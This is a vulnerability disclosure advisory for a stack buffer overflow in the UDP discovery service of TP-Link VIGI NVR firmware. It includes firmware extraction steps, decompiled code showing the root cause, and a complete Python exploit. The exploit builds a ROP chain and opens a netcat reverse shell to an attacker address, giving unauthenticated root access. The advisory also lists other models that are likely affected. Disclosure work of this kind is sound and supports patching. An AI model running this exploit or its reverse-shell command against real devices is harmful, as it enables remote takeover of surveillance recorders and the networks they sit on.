SSD Advisory – TP-Link ViGi onvif_discovery Overflow

Summary

A buffer overflow in the onvif_discovery binary located at /bin/onvif_discovery which listens on UDP port 5001. This vulnerability can be leveraged by a network-adjacent attacker to execute arbitrary code on the target as root. No authentication is required to exploit this.

Credit

An independent security researcher, n4nika, working with SSD Secure Disclosure

Vendor Response

The vendor has released an updated version, VIGI NVR4032H(UN)_V1_1.0.5 Build 240424, available at: https://www.tp-link.com/en/support/download/vigi-nvr4032h/#Firmware

Affected Versions

VIGI NVR4032H(UN)_V1_1.0.1 Build 230628

Extracting the firmware

Download link: https://static.tp-link.com/upload/firmware/2023/202308/20230816/NVR4032H(UN)_V1.0_230628.zip

This downloads NVR4032H(UN)_V1.0_230628.zip -> sha256sum NVR4032H(UN)_V1.0_230628.zip -> 4720805b09c8c172ecec4ea45d973b89857053bb84f1d2d0140b1215d20d0b65

Then unzip:

  • unzip NVR4032H(UN)_V1.0_230628.zip
  • cd NVR4032H(UN)_V1.0_230628

Binwalk:

  • binwalk -e nvr4032hv1_en_1_0_1_up_boot_230628-signed.bin
  • cd _nvr4032hv1_en_1_0_1_up_boot_230628-signed.bin.extracted

squashfs-root should be in the current directory now.

Root cause analysis

The vulnerability comes from memory copying user-provided input from a buffer of size 0x5c0 into a smaller buffer of size 576, where the size is also user-controlled.

Code analysis

The binary starts a new thread with the function start_ipcd_thread and listens on UDP port 5001

start_ipcd_thread:

  // [ ... ]
  iVar3 = epoll_wait(uVar7, (epoll_event * )(sigaction * ) & local_78, 5, -1);
  psVar9 = (sigaction * ) & local_78;
  for (local_bc = 0; local_bc < iVar3; local_bc = local_bc + 1) {
    if (((int)(psVar9 -> __sigaction_handler).sa_handler << 0x1f < 0) &&
      ((psVar9 -> sa_mask).__val[1] == __fd)) {
      /* receives from port 5001 */
      sVar4 = recvfrom(__fd, & recv_buffer, 0x5c0, 0, & address, & addrlen);
      if (sVar4 != -1) {
        iVar10 = checks_validity_later(__fd, & recv_buffer, & address);
        if (iVar10 == 0) goto LAB_00012eaa;
        printf("[%s:%d]: error, ret = %d\n", "start_ipcd_thread", 0x113, iVar10);
      }
    }
    // [ ... ]

It then passes it to a function which checks the validity of the header and if it is valid, passes it to parse_discovery_frame

undefined4 checks_validity_later(undefined4 param_1, int recv_buffer, int address) {
    // [ ... ]
    if ((recv_buffer != 0) && (address != 0)) {
      iVar1 = check_hdr_validity(recv_buffer, 3);
      if (iVar1 == 0) {
        if ( * (char * )(recv_buffer + 1) != '\x02') {
          return 0;
        }
        iVar1 = parse_discovery_frame(recv_buffer, 0);
        // [ ... ]
      }

parse_discovery_frame then allocates a buffer on the stack and calls another function.

undefined4 parse_discovery_frame(int recv_buffer, int flag_) {
  // [ ... ]
  undefined auStack_264[20];
  char smaller_buffer[576];

  if (recv_buffer == 0) {
    printf("[%s:%d]: invalid argument, ph = NULL\n", "parse_discovery_frame", 0x3a9);
    return 0;
  }
  memset(smaller_buffer, 0, 0x240);
  iVar1 = possibly_overflow(recv_buffer + 0xe, ( * (ushort * )(recv_buffer + 10) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + 10) >> 8), 5, smaller_buffer);
  // [ ... ]
}

This then calculates a size, based on the user-provided buffer but does no bounds checking and calls another function with that size.

int possibly_overflow(int recv_buffer, uint calced_recv_buf_size, uint param_3, int smaller_buffer) {
    // [ ... ]

    if (((recv_buffer == 0) || (calced_recv_buf_size < 4)) || (smaller_buffer == 0)) {
      iVar1 = -1;
    } else {
      iVar1 = 0;
      iVar3 = 0;
      iVar2 = 0;
      recv_buffer_1 = recv_buffer;
      uVar4 = calced_recv_buf_size;
      uVar5 = param_3;
      for (; 0 < (int) calced_recv_buf_size; calced_recv_buf_size = (calced_recv_buf_size - some_size) - 4) {
        recv_buffer_2 = recv_buffer + iVar2;
        some_size = ( * (ushort * )(recv_buffer_2 + 2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer_2 + 2) >> 8);
        if (param_3 == (( * (ushort * )(recv_buffer + iVar2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + iVar2) >> 8))) {
          switch (param_3) {
          case 5:
            if ((0x1f < iVar3) || (iVar1 = possibly_overflow_direct(recv_buffer_2, iVar3 * 0x12 + smaller_buffer, some_size, iVar1, recv_buffer_1, some_size, uVar5), iVar1 != 0)) iVar1 = -1;
            iVar3 = iVar3 + 1;
            iVar1 = 1;
            uVar4 = some_size;
            break;
            // [ ... ]
          }

Finally, the overflow happens as content from the user-provided buffer gets memory copied into the previously allocated stack buffer which is smaller than the destination buffer. Since we control the size, this causes the stack-based buffer overflow.

undefined4 possibly_overflow_direct(int recv_buffer, void * smaller_buffer, size_t some_size) {
  undefined4 uVar1;

  if (((recv_buffer == 0) || (smaller_buffer == (void * ) 0x0)) || ((int) some_size < 0)) {
    uVar1 = 0xffffffff;
  } else {
    memcpy(smaller_buffer, (void * )(recv_buffer + 4), some_size);
    uVar1 = 0;
  }
  return uVar1;
}

Exploitation

NOTE: This exploit has been developed on an emulated VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. With minor modifications, it should also be usable for all other VIGI NVR devices manufactured by TP-Link. In order to use this, please adjust TARGET and ATTACKER to the appropriate IPs and spawn a netcat listener with “nc -lvp 4444” (make sure that your firewall is not blocking the reverse shell)

from pwn import *
import socket

# Exploit for Remote Code Execution on
#
# Vulnerable devices:
#   Tested and exploited in emulated environment:
#     VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
#
#   Untested but very likely to be exploitable due to very similar binary:
#     VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531
#     VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023
#     VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831
#     VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
#
#   Possibly exploitable on all VIGI NVR devices manufactured by TP-Link
#
# With some minor adjustment such as offsets, this exploit is very likely to work on all the above listed devices.
#
# In order to just crash the target which should work on most TP-Link VIGI NVR devices,
# just exchange the payload to the one commented out
#


def calc_checksum(packet):
    if len(packet) % 2 != 0:
        packet += b"\x00"

    checksum = 0

    for i in range(0, len(packet), 2):
        word = (packet[i] << 8) + packet[i + 1]
        checksum += word

        if checksum & 0xFFFF0000:
            checksum = (checksum & 0xFFFF) + 1

    checksum = ~checksum & 0xFFFF

    checksum_bytes = checksum.to_bytes(2, byteorder="big")
    return checksum_bytes


def gen_ropchain(path, argv):
    chain_addr = 0x3F860
    chain = b"/bin/sh".ljust(12, b"\x00")

    chain += p32(chain_addr + 12 + 4 * 4)
    chain += p32(chain_addr + 12 + 4 * 5)
    chain += p32(chain_addr + 12 + 4 * 6)
    chain += p32(0x00)
    chain += argv[0].ljust(4, "\x00").encode()
    chain += argv[1].ljust(4, "\x00").encode()
    chain += (argv[2] + "\x00").encode()

    chain = chain.ljust(588, b"\x00")

    chain += p32(0x0001E5AD)
    chain += p32(chain_addr)  # r0
    chain += p32(chain_addr + 12)  # r1
    chain += p32(0x00)  # r2
    chain += p32(0xDEADBEEF) * 2  # r3, r4
    chain += p32(11)  # r7 -> SYS_exeve
    chain += p32(0x00028660)  # svcge -> syscall

    return chain


def build_packet(payload):

    packet_headers = b"\x01\x02\x0e\x00" + p32(-0x387CD41F, signed=True)

    tmp_length = len(payload).to_bytes(2, byteorder="big")
    full_payload = b"\x00\x05" + tmp_length + payload
    payload_size = len(full_payload).to_bytes(2, byteorder="big")

    checksum = calc_checksum(
        packet_headers + p16(0) + payload_size + p16(0) + full_payload
    )
    packet = packet_headers + checksum + payload_size + p16(0) + full_payload
    return packet


TARGET_IP = "192.168.122.2"
ATTACKER = "10.0.0.59"

# payload = b"\xff" * 700
payload = gen_ropchain(
    "/bin/sh",
    [
        "sh",
        "-c",
        f"mknod /tmp/a p; nc {ATTACKER} 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;",
    ],
)

packet = build_packet(payload)

target_info = (TARGET_IP, 5001)
assert len(packet) < 0x40B

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(packet, target_info)

?

Get in touch